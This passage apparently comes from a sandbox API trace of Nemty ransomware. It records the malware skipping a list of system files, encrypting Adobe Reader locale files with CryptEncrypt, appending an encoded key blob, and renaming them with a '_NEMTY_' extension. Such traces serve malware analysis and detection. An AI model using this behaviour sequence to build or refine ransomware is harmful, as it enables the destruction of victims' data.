lpString2="boot.ini") returned 1 [0179.637] lstrcmpiW (lpString1="reflow.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.637] lstrcmpiW (lpString1="reflow.KOR", lpString2="ntuser.dat") returned 1 [0179.637] lstrcmpiW (lpString1="reflow.KOR", lpString2="desktop.ini") returned 1 [0179.637] lstrcmpiW (lpString1="reflow.KOR", lpString2="CONFIG.SYS") returned 1 [0179.637] lstrcmpiW (lpString1="reflow.KOR", lpString2="RECYCLER") returned 1 [0179.637] lstrcmpiW (lpString1="reflow.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.637] lstrcmpiW (lpString1="reflow.KOR", lpString2="bootmgr") returned 1 [0179.637] lstrcmpiW (lpString1="reflow.KOR", lpString2="programdata") returned 1 [0179.637] lstrcmpiW (lpString1="reflow.KOR", lpString2="appdata") returned 1 [0179.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.KOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.KOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.KOR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.KOR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.637] Sleep (dwMilliseconds=0x5) [0179.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eb99f30, dwHighDateTime=0x1d561e8)) [0179.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eb99f30, dwHighDateTime=0x1d561e8)) [0179.647] GetLastError () returned 0x0 [0179.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.647] GetLastError () returned 0x0 [0179.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.648] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.648] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.648] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.648] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="2UotynoAByqJdPc6FeO11TQsbCF7NW+YxwFFOFmQ96HMp2DuQBMdOS5vGpjcLTBK\r\nXC1shyHJ+qkfeXWHHEQ5EWv/QqBId1xXAjeE8mnNY05XdxBRPlDHZM21VUuGGV9w\r\nvbmnQyVlOzEp6mQI1pU/okRrgZBjh8nMXbg/yEqs1qB0AvR/gkTYRhCCJ9DCBmAO\r\nKlkNl6KV9lBl0eEVMCT2Dd6Rq86oYtYSlj/oDm+se7f9Ffy2yJEZhMomhlUYCz49\r\nkFu/ZJES1omVfIcz5jy6UsJGnO9sF0kEpBfe0k89I0fH9xY/fKxT7MSn59ft2pG+\r\nBsSP/qC+ARVsEcFaE7J3dw==\r\n", pcchString=0x653e5dc) returned 1 [0179.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.648] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\reflow.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\reflow.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.648] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4096) returned 1 [0179.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1000) returned 0x6352c48 [0179.648] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.648] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1000, lpOverlapped=0x0) returned 1 [0179.650] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.650] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1000, lpOverlapped=0x0) returned 1 [0179.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.650] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1000 [0179.650] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.650] CloseHandle (hObject=0x2e8) returned 1 [0179.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.650] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0179.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.651] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\reflow.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\reflow.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\reflow.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\reflow.kor._nemty_kgobjgd_")) returned 1 [0179.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0179.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.651] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.KOR", cAlternateFileName="SAVEAS~1.KOR")) returned 1 [0179.651] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2=".") returned 1 [0179.651] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="..") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="...") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="windows") returned -1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="rsa") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="NTDETECT.COM") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="ntldr") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="MSDOS.SYS") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="IO.SYS") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="boot.ini") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="boot.ini") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="ntuser.dat") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="desktop.ini") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="CONFIG.SYS") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="RECYCLER") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="bootmgr") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="programdata") returned 1 [0179.652] lstrcmpiW (lpString1="SaveAsRTF.KOR", lpString2="appdata") returned 1 [0179.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.KOR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.KOR", lpUsedDefaultChar=0x0) returned 13 [0179.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.KOR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.KOR", lpUsedDefaultChar=0x0) returned 13 [0179.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.KOR", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.KOR", lpUsedDefaultChar=0x0) returned 13 [0179.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.KOR", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.KOR", lpUsedDefaultChar=0x0) returned 13 [0179.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.653] Sleep (dwMilliseconds=0x5) [0179.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ebc0090, dwHighDateTime=0x1d561e8)) [0179.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ebc0090, dwHighDateTime=0x1d561e8)) [0179.663] GetLastError () returned 0x0 [0179.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.663] GetLastError () returned 0x0 [0179.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.663] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.663] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.663] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.664] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="gqfuJvnANb9ICuTvkzcWoYps3um1LyJdmC+IAurxn/QLyKYbx1QfQKvOEe1moGah\r\n5mb08OZPbSbMP2LvcJiTGcBo0Xvxt5QzJGZyTxVOQkkYwS2vF8XBs9xMM8O4ASZL\r\nqaOGDKwPzSk0ZBp/fqyznEZRbEmnrG9uYN7rdfNY6Io6GJ0G/J2i9rj2SDXxN0Ic\r\nhNfCbFAHr9g8WbZd+mzPpZv87dElU78sqRfqFqbGAW5+t23mRlqogdqHQZQur/2O\r\nHa9OKBEFWowiDU6ZWMc2WwfOHrgSt5FY5/RaqkCB7mMAV4Us3Lzr0SNNDu5oDzSu\r\nFtOk2O72kITmjaB3/jGPPw==\r\n", pcchString=0x653e5dc) returned 1 [0179.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.664] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SaveAsRTF.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\saveasrtf.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.664] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=14336) returned 1 [0179.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3800) returned 0x6352c48 [0179.664] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.664] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3800, lpOverlapped=0x0) returned 1 [0179.667] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.667] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3800, lpOverlapped=0x0) returned 1 [0179.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.667] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=14336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3800 [0179.667] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.667] CloseHandle (hObject=0x2e8) returned 1 [0179.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.667] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SaveAsRTF.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\saveasrtf.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\SaveAsRTF.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\saveasrtf.kor._nemty_kgobjgd_")) returned 1 [0179.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.668] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, 